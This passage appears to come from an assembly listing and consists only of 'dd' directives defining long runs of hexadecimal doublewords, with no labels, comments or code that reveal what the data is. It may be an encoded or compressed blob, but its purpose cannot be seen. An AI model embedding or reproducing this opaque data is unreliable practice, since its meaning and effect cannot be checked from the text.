11C0EAA3h, 24238337h, 0A27A0067h, 0F1F5162Eh, 1F004697h dd 53323176h, 7009E1B5h, 2AF00CE9h, 0E769D96Eh, 0B13F4E00h dd 0A189F6A6h, 3C371E8Bh, 222FC0CCh, 0F2D7074Fh, 0D4E6D029h dd 0FDD4EC00h, 75B98DB6h, 0C7E0C3E0h, 2118FA8Ch, 1799EBA3h dd 0C401002Dh, 49A22FB2h, 270098C3h, 0ABA5A1DCh, 9E7EA96h dd 4BB02187h, 43DF3490h, 7C0C8678h, 0F1C65954h, 8BAC0014h dd 1D537E3h, 87FA2353h, 9890881Dh, 0D621BFC0h, 0E9C342Dh dd 0D078DE0Ch, 544095AFh, 7EA71B5Dh, 1CA5B700h, 579D1051h dd 4359C0CAh, 76F3CE70h, 0C0245000h, 0F1A6F764h, 680C496Eh dd 0BD271C7Dh, 0A70D40E6h, 0AB8A8B8Fh, 0EE856502h, 4407F9FBh dd 0E43F072Ch, 10664C45h, 0A93D1417h, 0C78C632Ch, 0BAEA0200h dd 9099903Bh, 0A3893BFCh, 114CDFA4h, 1A33004Eh, 73AB7547h dd 66BF0794h, 84FE9C90h, 639C83E7h, 32075EF9h, 944E1C50h dd 8AF29F41h, 0A050CE6Dh, 17C815h, 149DD1C9h, 279AADF4h dd 0A8A3E800h, 0C5F062D4h, 0CF50A4Ch, 8AD4AE86h, 8F88D857h dd 0C07CCFEDh, 8288AD12h, 0D4928A04h, 117CE443h, 183493C7h dd 7E49B1A3h, 0C87707E0h, 0D15A949Fh, 0E416A62Fh, 0B070A7E6h dd 0CEA9C06h, 4C31BC25h, 9A0CCCDDh, 7681C357h, 0E8941400h dd 461AE382h, 0F74C008Dh, 936E4D64h, 4E057A9Ah, 940120F6h dd 81606887h, 0E6807F0Ch, 914B189h, 28104AAEh, 5A3622FFh dd 3061CCh, 13CB77DDh, 56A833D3h, 43536100h, 7A720FE2h dd 0B7A4305Eh, 0F5793949h, 59E9D81Ch, 6F014340h, 5AB27Ch dd 588280A8h, 97C710B1h, 0E04C5600h, 0CFE8E39h, 95C913Dh dd 242E136Eh, 4CFCC2C0h, 0E4B0F1BAh, 940F1B02h, 0A0303147h dd 0A03FF5A4h, 5EBD5CA4h, 8726C01h, 0FCE390F4h, 0DF00C624h dd 2D6DE49Ch, 2C287443h, 4A602F0Ch, 0F1420E78h, 510B1897h dd 0C9C0B5A4h, 9B71CB6h, 662D0461h, 0BC82580Ah, 0B8B7401Dh dd 489C0200h, 0CB50B05h, 3980FFCFh, 0ABDEF887h, 64989698h dd 0C627A0Ah, 0AE41E080h, 34E44E28h, 0A84C99D5h, 84D954C4h dd 609B89D6h, 8600D1E8h, 0F122BA64h, 9966D9B7h, 0EB6B8044h dd 0BC31DFE3h, 0F53C5C00h, 599245DAh, 583B055Eh, 80333A60h dd 0E2F29390h, 42894CBh, 0AF835090h, 648CC491h, 36AB00BAh dd 0BBD32EC0h, 9774F589h, 80185A58h, 5173E190h, 0C8EBF36Fh dd 0C6A05Eh, 0AAA1344Eh, 22FA8F3Dh, 0A96B0100h, 7F0A6293h dd 19CF0FBh, 0AEBFE2EFh, 52ED880Ch, 0F8905884h, 0DB00E54Dh dd 723C35BBh, 0A82D89h, 366C1AADh, 65E08E2h, 75FC0445h dd 7DEF5C35h, 55195705h, 0A9A4323Dh, 2D00F066h, 0EDA84CF0h dd 344FB4h, 7E638613h, 397F3ACCh, 0B584F800h, 8397A51Bh dd 0CB02340Ch, 82B4C049h, 100EE6Fh, 3DF3A7E1h, 71F22BCh dd 9F392858h, 43911D07h, 0C1B4B066h, 0CAC1209Ch, 736ACC61h dd 9472045Ch, 0B488A35Eh, 9D1200DCh, 0B9434FC4h, 0C8A01644h dd 6E607ABh, 0AF591163h, 0F035F8C1h, 0CC5405E1h, 1F5C1B7Ah dd 83BE0ABAh, 0CF85B974h, 0C0A0791Ch, 384ACD5Ch, 9F6B9538h dd 888675CCh, 7E834Dh, 3CA97456h, 7A575099h, 6D9DDD00h dd 0C38BE0Dh, 8CCD483Eh dd 89FFEA86h, 0D64A2609h, 955002C9h, 0E0260B6h, 482098FBh dd 720A7089h, 4318E7D0h, 8197CDDh, 86388A6Fh, 60A98441h dd 6473930h, 571A638Dh, 8A031872h, 41911504h, 84D6F95Fh dd 8D057023h, 1F60489Dh, 3F6500E3h, 511AB99Ah, 736CD000h dd 54D7DE24h, 0B0BC0977h, 0AC047428h, 646F46C7h, 0D4110049h dd 0C8D21D93h, 0B406D0ABh, 17542949h, 5BE001A8h, 0A32C879Ah dd 130C60BBh, 1FD4A541h, 7E453D77h, 72C0E580h, 89FB1761h dd 3A68200h, 0F123948Dh, 0DDAB0590h, 80959F56h, 5952B4ECh dd 0B89D160h, 0E5AB9927h, 8BBD2060h, 1B303000h, 1C14549Bh dd 906D0CA7h, 0A1502041h, 0AF4909C2h, 0C488157h, 418DB691h dd 216153AEh, 0F872D8h, 40AB7C41h, 1E4862ADh, 0FAF1B003h dd 0B0F67594h, 16558B00h, 234EC14Ah, 88993BF2h, 25785705h dd 1E53E498h, 0BC2836h, 372ABA04h, 47123879h, 940A8186h dd 6C10F077h, 0DEE46E05h, 1F881DF0h, 63F4C542h, 730C22Ch dd 0D900D8C4h, 4C998287h, 1C57A14Dh, 8C75C568h, 0A5F003DDh dd 126E2211h, 26D0A201h, 0C07C27B8h, 13008A3Fh, 971FE495h dd 0FF20DDh, 0DF780142h, 98BF9976h, 57229A00h, 44494F06h dd 0EADC0556h, 9563F7h, 0FB88A0A8h, 26792D0h, 0A0BF5491h dd 0CBCF714Ah, 0D0AA5296h, 0ACCDBA01h, 0D8665490h, 87093286h dd 377DBDFh, 16F19920h, 8292158h, 0F3A403F4h, 0B0A50F3Fh dd 1BFEE032h, 85C8A9h, 908F92DAh, 6FD2743h, 0CA310C60h dd 377AFDFh, 0BDBEA421h, 8F8F0D3Eh, 44E53DDh, 47CB3570h dd 39FCE1D0h, 0C570171Bh, 9CA6105Dh, 0D059500Ch, 0C20C3929h dd 7E2FB5A6h, 0E4700016h, 13EFB264h, 0F10F4927h, 0D8350CB0h dd 6007F731h, 4F8B5908h, 0E0009E95h, 2C3550Dh, 1819A746h dd 31C259C1h, 0EA073C5Eh, 72A59189h, 56E27330h, 3F1900C1h dd 0C9E7D6D7h, 0FE008BA6h, 7027E5FFh, 0B959F6F5h, 3F6F0028h dd 0DE345ABDh, 60643C05h, 0FC08293h, 9D1F3Bh, 751C069Bh dd 0AADE0C78h, 0B900FF7Ah, 0BAEDCECBh, 925E4AB0h, 80ECB17Ch dd 0BEF019EAh, 5B00588Eh, 0E35D0169h, 0A61B96h, 437390F2h dd 0F724E4F4h, 0F88DD019h, 0E872A439h, 0F9A85E00h, 47AB1CA9h dd 7DED200h, 0A601D842h, 255300Bh, 90FDBF29h, 34595126h dd 0FCA21040h, 75F67Ch, 0C10DA743h, 0D1AF2148h, 7C589B28h dd 0C6D33B00h, 0FF953C91h, 16480088h, 0BEEA9F3Fh, 9178020h dd 0A420A3BBh, 70398Bh, 7D74C697h, 1FB647A7h, 2BEC25h dd 0C3256E30h, 6F801394h, 31744067h, 6A43493Eh, 0D5F27217h dd 83BBF008h, 0C1E3803Fh, 60BC20C8h, 6B91113h, 197348D0h dd 82410075h, 7ABAB35Eh, 1B4CF599h, 260F0433h, 0CCC3D70h dd 972C0074h, 0E687829Eh, 0A009501h, 0ADE54C62h, 2C515453h dd 402859BBh, 0DE60492Ah, 6FF1B07h, 224088DCh, 2052C20h dd 0A6E24023h, 0CC85967Dh, 0C4CA34h, 0F294699Ah, 1263277h dd 1DE0AD6Eh, 207262F4h, 32E17A10h, 23A780ACh, 3290F73Ah dd 2582145h, 40F25322h, 2ADF7098h, 9CD86Fh, 6E5D2DC0h dd 78D6BE2Eh, 49EF6D0Fh, 9FF16370h, 0FD44C0DFh, 8D0D28FFh dd 0F9450434h, 0CC0508F0h, 0CF2E9F58h, 8E005F1Ah, 4C0F135Fh dd 0F7B70CD3h, 3B39B3AAh, 0B50BB00h, 0C6C80445h, 55CD0369h dd 25CAF61h, 1421914Fh, 0B270FB45h, 0DFE10031h, 0B1BC48CFh dd 0A90FA6AFh, 732286F5h, 7D70B802h, 2FB0C187h, 6EBF6989h dd 9F123CE8h, 5CEBA07h, 0B9C102D4h, 63C87DC5h, 907F0A0Bh dd 0C3A0870Ch, 6EF90418h, 84418066h, 931AAA55h, 0D67357h dd 69022633h, 20DE64C8h, 0AFFC9905h, 84420D4Fh, 71330CFFh dd 0D6E110D0h, 0B9A54402h, 934E1E4h, 60898A11h, 0DE05539Ch dd 0B0011956h, 0E893C4C3h, 0C96DC15h, 0A07F627h, 33EC4B31h dd 39F1C900h, 0E87B5B7h, 28E850D0h, 0C4DF70CCh, 40D23788h dd 0A3FB141Eh, 398B3CDh, 0E3286F4Dh, 3D16DC98h, 0B5996000h dd 0FEB28F3Ah, 2CF25222h, 0FFA9BC3Ch, 94F480D0h, 8688F655h dd 490F5A00h, 0FF06DCE6h, 13901C4h, 8E22EB60h, 176822AAh dd 0E009D5Ch, 6FD87EC7h, 0A3A004E9h, 0CC4BAF3Bh, 0C2017CC4h dd 128F591Ch, 0A230172Ah, 61BEEABh, 0AA979F50h, 810051B4h dd 156D07CDh, 0F0E7E385h, 0C9510959h, 70116EC4h, 61E9F909h dd 0F5B2F0D8h, 0BB9D880Fh, 0F9807F7Ch, 9FC33FBDh, 0A3330220h dd 0A06C7FCh, 0F07DB623h, 0B8ADCD4h, 7E855EF7h, 2A3D4381h dd 7B88DC9Bh, 884C272Eh, 0E5061A00h, 52DED0B9h, 2019855h dd 67C28F8Eh, 815F600Fh, 4020B9CBh, 245526D4h, 4040820Ch dd 0A71D7448h, 98F7E00Eh, 9E4340DAh, 12232AC8h, 0D05922BDh dd 2E37F348h, 7D170300h, 34312DB8h, 70772CE8h, 11F630Ch dd 1E6BD9A0h, 2EBB2400h, 0BA96F418h, 9DF10921h, 498790Fh dd 0AC00E742h, 93A61058h, 773231E5h, 17910015h, 0B0C169A8h dd 2FE3FFC5h, 555E6DC0h, 0BBD89639h, 7CC7AA6h, 0C7CEB79Bh dd 798270C6h, 0C23ECAFFh, 9010A4C9h, 0AB090780h, 5B90F6Bh dd 20D6E773h, 138845C8h, 88D4C1BAh, 3D84296Dh, 315D004Fh dd 0A662285Ch, 34BEE18h, 342AE1A3h, 27E0C451h, 50799CD0h dd 0AF5408C2h, 3E805257h, 7C4CF4FFh, 5621440Eh, 999D9500h dd 4C9CAA8Ah, 0EFE21A80h, 9EC757D0h, 1E5E635Ch, 0F6F195A0h dd 0F507C890h, 0A6ACDE87h, 406C7CE2h, 16234ED8h, 82F54B3h dd 78ADC94h, 570D997Bh, 7C6389DAh, 0B44F280Eh, 50013747h dd 52D3DF9Eh, 7D0DD403h, 0FEA96293h, 0FE7A0199h, 76CACCBh dd 0E88B60B2h, 0D0E28EFCh, 0C449934Bh, 0F88C48A3h, 3B5C053Fh dd 0C2F708FEh, 0B028D274h, 0E2ED3904h, 68505C82h, 0A455AF38h dd 43E4B4B4h, 74F834B8h, 7700538Dh, 28AF440Eh, 9C5AB763h dd 0DB8B805Ch, 0D675B65Ch, 3A9F0E00h, 1B2F55Bh, 500B0084h dd 7D91A555h, 0C5050C4Eh, 0AAA720B0h, 0FC1338C8h, 0C9140071h dd 0EC8F8AFAh, 61016BD8h, 22A79711h, 82F00621h, 0AB3A1E77h dd 0A95640B8h, 26F85405h, 0F1781B19h, 0D88541C8h, 8C6B7195h dd 7C0059E8h, 6CDC0ECCh, 3BA11985h, 308377B4h, 28EA61E2h dd 0F2D56B8h, 0D73E1A00h, 0F98F5DE5h, 109E21h, 819B9E4Ah dd 4E3A7A82h, 0D0E709B1h, 0BC50C8EBh, 26D1C01h, 0BA7E802Dh dd 85622149h, 8A788202h, 20B5A334h, 0E1686E30h, 0EC79AE1Eh dd 99C0F4C0h, 4204547h, 6EDF7293h, 3B8C900Fh, 0CD1D0AE0h dd 0DB0E7EA2h, 417D0F91h, 7BB7376Dh, 0BDDABE0h, 5AF44D54h dd 20273090h, 69ED4700h, 108B282Eh, 8E1B0994h, 101006E8h dd 7807432Dh, 9634BC4Ah, 0FC2049BBh, 5EFC4C31h, 4C020077h dd 8FFA0AB2h, 19FA4395h, 1546C305h, 0E088A408h, 5B6600B6h dd 13312BF7h, 0B200F139h, 79329594h, 0B65AB897h, 5CD58F94h dd 707E6040h, 0A23DAE80h, 57950107h, 6E203F17h, 3007143Dh dd 0A0D212E3h, 9AC9C3D8h, 540222F6h, 8D470B61h, 0E5588006h dd 0F24877C2h, 0F1A800BDh, 62DA5A2Bh, 0D3396601h, 542E0950h dd 0C1CC6289h, 8AF87190h, 0FD780088h, 832C029Dh, 49002DEDh dd 418274C3h, 280AD06h, 0BF4257FBh, 84466333h, 0EB51B000h dd 5ABC5339h, 5835250Dh, 0BC477C2Bh, 10043A80h, 9D6237Fh dd 94FF2879h, 6903AC64h, 0D8FA61E9h, 0B291890Dh, 90581993h dd 62603198h, 10EE7527h, 0C33E1Ch, 87BC762Ch, 9F82E27Eh dd 0A40065EEh, 0C77F68Dh dd 58FE5E47h, 7CC310C1h, 6788AFE1h, 0A800FDA5h, 43854DF9h dd 0BB820F37h, 0C6040078h, 8F94F93Ch, 48FDF12Ch, 3850BB11h dd 7FBC012Fh, 9A4F1CD3h, 1C796Fh, 12C3B890h, 64AC2h, 0A5E87B76h dd 6FBBFCCCh, 0F4CB1400h, 0BDFEFD20h, 1E0EEA21h, 15EE93AFh dd 0E90754BCh, 67B5FFE7h, 0EEAB30F3h, 4F2FCAF8h, 92EC906Dh dd 9B7E31h, 0F603C051h, 6CC3A99Ch, 2660E102h, 612A3EA3h dd 103C8377h, 0FE405188h, 0D57382h, 54943ED1h, 56539016h dd 0F1C29E12h, 760B28A6h, 45050DFEh, 5E2487C7h, 0AFAB1743h dd 0B1CD5900h, 0CE5AADD9h, 0CA310E4Fh, 84C05B0Dh, 59521148h dd 0FA008091h, 0E379298h, 0F4940031h, 211CF516h, 0F892116Fh dd 0D801EB3Ch, 0C02E02BBh, 7174E846h, 0EFDA0014h, 0AAF881B4h dd 0D8372800h, 32B02CD5h, 25A800B7h, 1BB0C88h, 0F074FC69h dd 53B17124h, 82304825h, 657F0024h, 0A5B78505h, 0A3488FE9h dd 56038F38h, 297C9D00h, 12232E56h, 0D0AA81E3h, 5F375C0h dd 0ED4B6F00h, 0F1290C01h, 58C876A1h, 4380AC6Eh, 0E75FA42Bh dd 9607287Dh, 76B0506Ch, 2C9162E7h, 13205AF3h, 0A4090FF0h dd 0B581C8EDh, 0E00C4176h, 0D11B08C7h, 0E030742Fh, 0EB71F3h dd 4DF72629h, 47E59CB8h, 0C0A67603h, 0D6E2ED1h, 0CE446F29h dd 0D8B8E048h, 4D5F9600h, 27FC9746h, 5E953968h, 9A89A9B0h dd 9B006D7Ch, 9C61F3A8h, 3C34750Dh, 701D36Eh, 0F066BEB8h dd 0E25183C5h, 0B0390F5Dh, 1D684D28h, 3F5D521h, 5B4F58CFh dd 9D956DD1h, 7D4998h, 4AC978F2h, 7B337CD1h, 79B2606Fh dd 0D444BDD3h, 6B00F5E8h, 0F83AB340h, 9F5F4Dh, 6D85163Eh dd 0FD2F32F1h, 9718E467h, 8B8E17C0h, 0A5EA3F1Ah, 9861C79Bh dd 98953400h, 6FD87D5Ch, 0B1CA61EDh, 505E311Bh, 603B0D8Ch dd 727B6180h, 72A80082h, 0B3E9250h, 0CE0307B2h, 0F79D74DAh dd 6CA7D865h, 0D8A44Ch, 0F25F052Fh, 48D51E29h, 3C00C3F6h dd 3E908D46h, 30957D39h, 0A579D166h, 6900B859h, 2219042Dh dd 0E1D1F96h, 46681C36h, 7235D123h, 6909938h, 0C40D8E21h dd 93200D1h, 8CEC6DFFh, 0F814187Fh, 22EC9486h, 637FACBh dd 4FDCA423h, 0C2004968h, 8B56B630h, 7024955h, 61796A20h dd 39D226C3h, 1789301Ch, 0BE0EA340h, 3A96F48h, 0D5EC2F22h dd 0A5C3F596h, 0F346F160h, 3F929CC5h, 6792B136h, 20380080h dd 1DDCCB6h, 0AE685918h, 70ECA31h, 0D34F839Eh, 9019E039h dd 9CF45317h, 756FD04h, 6080CB16h, 6170D527h, 0ECF339A7h dd 18DED84Bh, 60BB3300h, 5F4FB2D0h, 501E0105h, 4D6CAE09h dd 35318EB1h, 0A581A317h, 0E846B5F5h, 0E11A67h, 0AFAA3ECDh dd 0D3CB0A1Bh, 8E961F0Fh, 0B83D009Ah, 97FE75Dh, 0F58F87B3h dd 0D324BC0Fh, 0CCEBC0BEh, 0E515D9BDh, 0A8774Fh, 586C9028h dd 60696F11h, 42E081ABh, 0D003D420h, 4615516h, 0B3359980h dd 91476CF0h, 32780F0h, 54CE250Eh, 19AF6830h, 654105h dd 0E12CD4FDh, 0F6176444h, 4754A601h, 70507C37h, 16828180h dd 0E7D5DB43h, 97814D1Eh, 90AEA701h, 4EBF801h, 0F6A55AC0h dd 6C1C92CBh, 0EC66ACE0h, 6988F854h, 1B79E067h, 5DEF2DE0h dd 8EB30085h, 0ED949720h, 0B4005E68h, 25E0AAF1h, 984675F2h dd 0C3802F7h, 49FC2DF9h, 99597040h, 0D67D45B8h, 8F7FAD09h dd 85781851h, 29810713h, 0A04A68D8h, 7F2FB0C5h, 780D3502h dd 814F800Eh, 0FA89D6Ch, 3164F20h, 0C7F77E2Ah, 0D812D783h dd 0A8007734h, 0CF5C3106h, 8C7C12A1h, 61602166h, 0F4ECD4C1h dd 6F1E8509h, 400C124Fh, 51D2BC58h, 7C20342Ah, 78D64CE7h dd 6A0CA100h, 6351B8Bh, 0F581500h, 4D133CA2h, 0CC31C36Ch dd 0AAB8FB8Ch, 0FF0C1605h, 79D06138h, 7365001Bh, 0C02BD32Dh dd 0D900473Bh, 33E7FEF5h, 4894B3h, 5270164Fh, 50FC9099h dd 0EC6F380Ch, 908241C1h, 0F8FA0830h, 6D9F614Eh, 6F00ACD3h dd 0DCCE5046h, 262700BEh, 13DAAE42h, 0E7043917h, 4E6C952Ch dd 0A3D52088h, 5330F190h, 0C3D7E08Bh, 0B5C86B80h, 0A1604DE5h dd 222D1020h, 81136061h, 0C054FC4Bh, 8C872300h, 57D2B4C8h dd 99A12EE6h, 4E370A45h, 0BD604084h, 36023B03h, 596AF5B3h dd 1C7C60C3h, 0A4211218h, 3F3820F3h, 0D10E4FCh, 0B21F6038h dd 96B6C03Dh, 0CD6F141h, 303ACC00h, 79D39D71h, 0F8D54C17h dd 6802D403h, 397D290Dh, 31FB6300h, 6BC61BB2h, 132F0073h dd 0CCFC70EBh, 0CAEBA876h, 17E680A0h, 0F5000408h, 0C8B8BAE8h dd 1F2F3D6h, 54063279h, 4067A74Fh, 1E350D7Ch, 28653700h dd 0FC42CB6h, 1BA10519h, 805D9811h, 0E3027454h, 0F761C5A0h dd 0D9A39C1h, 1FD0258Ch, 3FD300EBh, 5968DDDAh, 0C7030880h dd 0FD9E4C92h, 7C1F98F5h, 0ABF76B8h, 694F4A07h, 0FC3680A4h dd 0F9A0284Dh, 2DEC2000h, 6FE83DEAh, 69C46F47h, 0DD8F7E60h dd 8D18A3E2h, 3E19BE66h, 3D27006Ah, 0C3094AF1h, 0CF003B79h dd 0F5508105h, 17A1667h, 4647E7E2h, 63709DDFh, 4B8C00E8h dd 0CCC25477h, 0A1D80593h, 0C84E26DBh, 0AE003010h, 0C353E719h dd 482736B2h, 8A06FC4Ch, 49AA6A91h, 0F00CCB0h, 78852E7h dd 1269D514h, 1EDF1364h, 0F6D44118h, 0D0DCCD66h, 0BEF0777Bh dd 84BBDD00h, 7C5FF09Ch, 0A142864h, 0A15FEF8h, 6F1DC0A9h dd 4B1B40E4h, 1AB8E69Ch, 1E24501h, 24D2CE0Ah, 0F500E022h dd 709DA06h, 34B16F2Ch, 5457A700h, 3FE88E3Bh, 0F526A852h dd 90360FE7h, 8C1697h, 0D7F61114h, 0B369456Eh, 96A48039h dd 0CC90D428h, 350823A0h, 0E50390B8h, 6C8BA79Dh, 6794E89Bh dd 1C4A8D6h, 0FB3E0054h, 0F11FBD75h, 8900E6B6h, 0D8CDAAE5h dd 2EBB7EE2h, 0B702F5Ah, 0EC04F62Bh, 0C08C5467h, 0A72732C4h dd 37CE8EAh, 95099344h, 5590F20Dh, 0C93CBFA8h, 6A6E1882h dd 7AEAA230h, 11ED00A7h, 5B03ADE4h, 0BE032C31h, 0E559046Eh dd 5FF4C8A1h, 0B9A67480h, 1140261Ch, 0F6D60BB6h, 0B3844174h dd 886D8C30h, 0E8B94A6Fh, 0E7C7A080h, 7E5922AAh, 1CCB1E9h dd 8052F9B7h, 0A645D8A4h, 0EB460600h, 3C382C90h, 0C4F50418h dd 40A8685Eh, 539C257Ah, 0A7D1009Ah, 2307932Ch, 0EC1351E0h dd 0D000905Fh, 0FC2982B0h, 0A86858F7h, 33E01F81h, 0D46FE47Ch dd 141DA701h, 0C9164506h, 1AD47021h, 50867E7Fh, 2DA740Eh dd 0A47D43FAh, 5C644F3Ch, 9E715F00h, 0BBEB6BCFh, 0B9F4ECC3h dd 0E048A650h, 0E5C570F3h, 0F73424B8h, 0AC0159CAh, 0BF90E1E9h dd 0D0869050h, 0AAD800DEh, 0BC211C9Bh, 8A009AA3h, 0BF162AD9h dd 2A82CC1h, 7C68353Eh, 7840FBABh, 804C180Bh, 0B65011DCh dd 3600C053h, 0DC09563Fh, 0D64C2329h, 670A7ED8h, 8CE16C8Dh dd 0D8204E45h, 49506FAh, 0A4850245h, 105C8174h, 710404Fh dd 5000193Ch, 1AD4FCCAh, 94C8F26Fh, 40744480h, 29F3AFECh dd 4C01E678h, 808E544Eh, 0D20118AFh, 0D05970DDh, 0AB6010E8h dd 428FF68h, 0A548286Fh, 0C073444Ch, 0B58DE38h, 80C10F56h dd 74D2CDDEh, 0A36F252Dh, 0EA35D802h, 504771C0h, 70B39C14h dd 0CCC80070h, 0D6654B83h, 0A210080h, 0E27B6EF1h, 9B076F1Ch dd 5C0BEABDh, 0FE146640h, 1D4ACA4h, 0F1A59F9Dh, 80624E06h dd 0ABA8E891h, 345F666h, 85D1499Bh, 53A84FE1h, 5F028BC7h dd 0DDC921Bh, 1B4486Ch, 86280FD5h, 5800552Fh, 7C778CD9h dd 0CE16126h, 4E711903h, 7A610065h, 11461AB3h, 0D4EE81BDh dd 0DBA84100h dd 30EC6E98h, 47C30F95h, 0AF653F48h, 17A00993h, 81D77C01h dd 88840BFh, 0A1E2E898h, 24BB8358h, 303800B3h, 17AF095Dh dd 0FECE0C95h, 7779644Eh, 2E869303h, 0A866656Ch, 0A7F508h dd 0DAE6B239h, 9B5F9770h, 0ADB07967h, 0CC59DA5h, 0EC13881h dd 0FC996050h, 51A40071h, 1741B84Ah, 0FB00C7CAh, 0A6F1B33Ah dd 546F5CABh, 8D0ACh, 1C580A94h, 0A46804DEh, 900919C1h dd 76805E14h, 891233F7h, 7500FABCh, 37B8C4C9h, 26D00317h dd 1148BB83h, 0ECA413AEh, 66A7088h, 707BEA82h, 0E70921AAh dd 7DA6B3h, 19A7D8A5h, 8CFF0186h, 1F0190CEh, 6DF430F0h dd 54DA4609h, 0B824106Fh, 0AABB016Bh, 0C27EBAECh, 1BE28357h dd 0CFFD82C4h, 800CB200h, 0C832E7BFh, 0C92B0B00h, 0ADEA46E6h dd 75A09807h, 0FB20DF24h, 24B8046Ch, 10A4D795h, 643784F8h dd 90720E44h, 0EDC81020h, 22034BE0h, 0CD4C010Bh, 0E0F6AA59h dd 526F6448h, 0CC00A869h, 5EF742FAh, 0A9F89110h, 0F0BB88h dd 0D6A3F9ABh, 4666FA87h, 364EDC00h, 0D7809133h, 7D2C06A5h dd 58593AD9h, 1A78F008h, 2B5932Fh, 38C21520h, 10ADC861h dd 0D767CCh, 6AC086D6h, 0BEF2A4F9h, 0C041C0AAh, 0C1CD10B3h dd 395A1329h, 0DD586193h, 24A47395h, 0A503E054h, 0E1754CA8h dd 0F6BD964h, 0F561BD81h, 0F29DD88Ah, 6A025072h, 69941161h dd 12844070h, 4C344C36h, 0F8429907h, 587B84D1h, 2DE0920h dd 0EDCE60F5h, 5C598792h, 439A0Fh, 85EAB036h, 0D26800F1h dd 804C1604h, 0FB006013h, 43828F24h, 0A653F61h, 6F5D95EEh dd 0C7064084h, 3B0070F6h, 3631C13Ch, 7EC3B935h, 47E50491h dd 8C3DACA1h, 0A290E228h, 0A9227F00h, 963D9FEh, 4CFBF4EBh dd 0B022D094h, 0E50B282Eh, 114C9025h, 20904AEEh, 0E00180F0h dd 82B2E538h, 0B8C1A8D4h, 0EBC0FFA4h, 6E01CCE9h, 0A3BB1CC2h dd 1C606746h, 9287287Bh, 996F1CE8h, 3894D5F4h, 0C9613B0Ah dd 0BD978BB0h, 89DF1A00h, 649CD292h, 87187009h, 0E156A938h dd 254C0039h, 0D58656BBh, 0FD007801h, 896820E7h, 76ADBE59h dd 7B5E03FAh, 1D90F6D7h, 0CC6694D0h, 90B69C0h, 6E1EE1h dd 0AAE42028h, 5DD613D4h, 800D3639h, 0FC852CC4h, 1DFB1DDDh dd 427C1AC1h, 0D33A1E4h, 9E57FC60h, 7A07100h, 0CCF394DFh dd 5C28B0C3h, 29C078D6h, 0E7284C84h, 9D5CC700h, 43386B9Bh dd 0D8EFE3Dh, 9E526C4Ah, 0F823D1h, 0E8D65710h, 0C59DF5h dd 92F2CD35h, 272C5B9Eh, 37FD01Eh, 0DE0084EEh, 0FB192FCEh dd 873B099Dh, 4402337h, 0D5127C38h, 0A830D159h, 98C16A0h dd 0B85AF725h, 18FC0480h, 374DEFA4h, 0C662620h, 0C8A9F240h dd 95FB0789h, 507281E7h, 2710F537h, 50228412h, 0D0328F16h dd 0CCA4114Eh, 2D4FD101h, 16A73840h, 7B2F1Dh, 49757D3Dh dd 1B3B2CFh, 9A9FE409h, 0EF06087h, 599CA873h, 0EFBC077Eh dd 61F67267h, 20C33340h, 60021220h, 7CD1E089h, 0D6DC80FFh dd 1AB1623h, 82BFB4B0h, 0D8850C37h, 5E245657h, 71071C5Bh dd 0DEF0A5B7h, 301D2881h, 48E9CF61h, 14EC2CF1h, 2B3F6F00h dd 0FEF5032Fh, 19D92449h, 1EE011B8h, 2BC0AD69h, 8D25E5AFh dd 0F82E0128h, 214727Dh, 0C762FCA4h, 0A56822h, 0ECAC2B5Ch dd 331850Dh, 8E2EAE00h, 3458C521h, 38C90BFh, 0FE1DE201h dd 110018F3h, 3EABBD6Fh, 5CC1D709h, 0EC1D5EFAh, 0C82912A9h dd 4102D820h, 807D4EF8h, 4D4AE022h, 40CC94BEh, 0E11E5229h dd 5A037A00h, 2BDE5E40h, 0BD0E00D4h, 6D4B3516h, 44EC9D82h dd 8400CEB0h, 0C62037F3h, 0C06B4E6Ah, 0A3940369h, 0EA00BAE8h dd 324F606Ch, 247D2EBh, 6B31F088h, 0E07270A5h, 677F8400h dd 0E7DE9787h, 9B47E6Dh, 74BE05Fh, 622C4402h, 0D2F36F22h dd 0A469586Ch, 237C1880h, 0E507EF7Fh, 0A72F92E3h, 0BA875851h dd 2A2A6E0h, 0A4D80B8Eh, 0F869B9E9h, 0C8244066h, 0ED038D31h dd 9D7C2B86h, 0DEB4B860h, 71A4147Fh, 0A383F866h, 1AB847A9h dd 0DA052882h, 0ED6FADBAh, 48572CE4h, 4D004C71h, 5EF09747h dd 0EA00C3D3h, 0EC38E5D5h, 0B07AFA39h, 33370984h, 244122D0h dd 0C0D83C4Dh, 0C6D97EC3h, 40A00499h, 85C5A53Fh, 611489B4h dd 0EEF2E99Ch, 0E8FDA049h, 0E80020A6h, 581B3880h, 0B3840745h dd 95D6025Ch, 7021CB66h, 72C52474h, 26C396CCh, 8E45E4Dh dd 0D39CB2EAh, 0BAB592C0h, 135870C5h, 9044665Fh, 182A7CD0h dd 4556F11Fh, 106FC09h, 111F0440h, 5DBC64h, 8D9FFF21h dd 32D14C18h, 0D10E0A4h, 0E4026A6Fh, 90D554D4h, 45E2EDE0h dd 0DA614D00h, 96DC5940h, 83389C66h, 60B408EFh, 5F4E1CF8h dd 7BF2D700h, 6FD6FD09h, 92B8B43Eh, 0A8282069h, 4B003A89h dd 2C841A6Eh, 0B95F526Ah, 40248004h, 0AF138269h, 0AEB011B8h dd 0DE601496h, 3307F095h, 13B96F4Eh, 150F61F0h, 53AED300h dd 9446E912h, 0F20A00DDh, 76391829h, 0BD28A0EBh, 0D084D8DBh dd 0BA6E504h, 64F46799h, 0A09C004Eh, 0EB17CFF5h, 49007244h dd 0DFDAED60h, 4BBB29h, 4DE7BE4Ch, 4F6C9F55h, 2960F499h dd 0A2DB5Fh, 3D33BDD3h, 750FB090h, 4550858h, 0FDE5AE1Dh dd 3DC88Ch, 68C610A0h, 8BA6D572h, 670322B0h, 0AB50755Bh dd 9069B280h, 7140F90h, 0C72D2A9Dh, 4C0019F5h, 0BDE681F9h dd 6DA9DF09h, 7864005Ch, 4CEBC156h, 19134429h, 112430E7h dd 6F0077DBh, 563D5E4h, 3AB80255h, 0A385CBB4h, 4EB9206h dd 0B218F0FFh, 0BC291FBCh, 55AADC80h, 4DA2F6Fh, 0DBBB30Bh dd 0F41C906Dh, 0A30027ADh, 0FC8891B4h, 3A23BC3h, 74D10BF3h dd 82DE0FFh, 5D5C1236h, 0ED3228C0h, 0F3D82500h, 0EAC4230Dh dd 0EE5C0112h, 6F2EBA9Fh, 0F003D44h, 0C90329ECh, 0FCCB68h dd 0D95849E6h, 912A9665h, 0E80E33E8h, 5E11B27Ch, 0BC01B853h dd 804FA803h, 103AD8BCh, 1158ED2Eh, 0C7A404B1h, 10F469AFh dd 0F8A10040h, 9B36235Fh, 0ED3AEBD2h, 